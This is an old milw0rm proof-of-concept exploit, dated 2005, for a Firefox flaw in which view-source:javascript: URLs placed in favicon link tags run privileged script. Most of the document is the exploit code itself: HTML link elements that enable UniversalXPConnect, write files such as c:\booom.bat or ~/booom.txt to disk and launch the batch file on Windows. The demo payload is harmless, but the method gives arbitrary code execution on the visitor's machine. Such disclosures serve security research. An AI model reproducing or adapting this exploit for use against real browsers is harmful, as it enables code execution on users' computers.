# Mozilla Firefox view-source:javascript url Code Execution Exploit
<-- This PoC is cross platform : On Windows this example creates the file --> <-- c:\booom.bat and launches it (opens a dos box with a dir command). On --> <-- Linux (tested Fedora Core) and MacOSX the example creates the file --> <-- ~/booom.txt or /booom.txt. Depending on caching the the script might --> <-- run twice in some cases (this will create an additional booom-1.txt). -->
Firelinking 2 - Proof-of-Concept
<link rel="SHORTCUT ICON" href="favicon.ico"> <link rel="SHORTCUT ICON" href="view-source:javascript:delayedOpenWindow(' javascript:netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\'); file=Components.classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces. nsILocalFile);file.initWithPath(\'c:\\\\booom.bat\');file.createUnique(Components.interfaces. nsIFile.NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/network/ file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutputStream); outputStream.init(file,0x04|0x08|0x20,420,0);output=\'@ECHO OFF\\n:BEGIN\\nCLS\\nDIR\\n PAUSE\\n:END\';outputStream.write(output,output.length);outputStream.close();file.launch();','','')"> <link rel="SHORTCUT ICON" href="view-source:javascript:delayedOpenWindow('javascript: netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');file=Components. classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.nsILocalFile); file.initWithPath(\'/booom.txt\');file.createUnique(Components.interfaces.nsIFile. NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/network/ file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutputStream); outputStream.init(file,0x04|0x08|0x20,420,0);output=\'booom!\';outputStream.write (output,output.length);outputStream.close();','','')"> <link rel="SHORTCUT ICON" href="view-source:javascript:delayedOpenWindow('javascript: netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');file=Components. classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.nsILocalFile);file. initWithPath(\'~/booom.txt\');file.createUnique(Components.interfaces.nsIFile. NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/network/ file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutputStream); outputStream.init(file,0x04|0x08|0x20,420,0);output=\'booom!\';outputStream.write (output,output.length);outputStream.close();','','')">
Run exploit
# milw0rm.com [2005-05-21]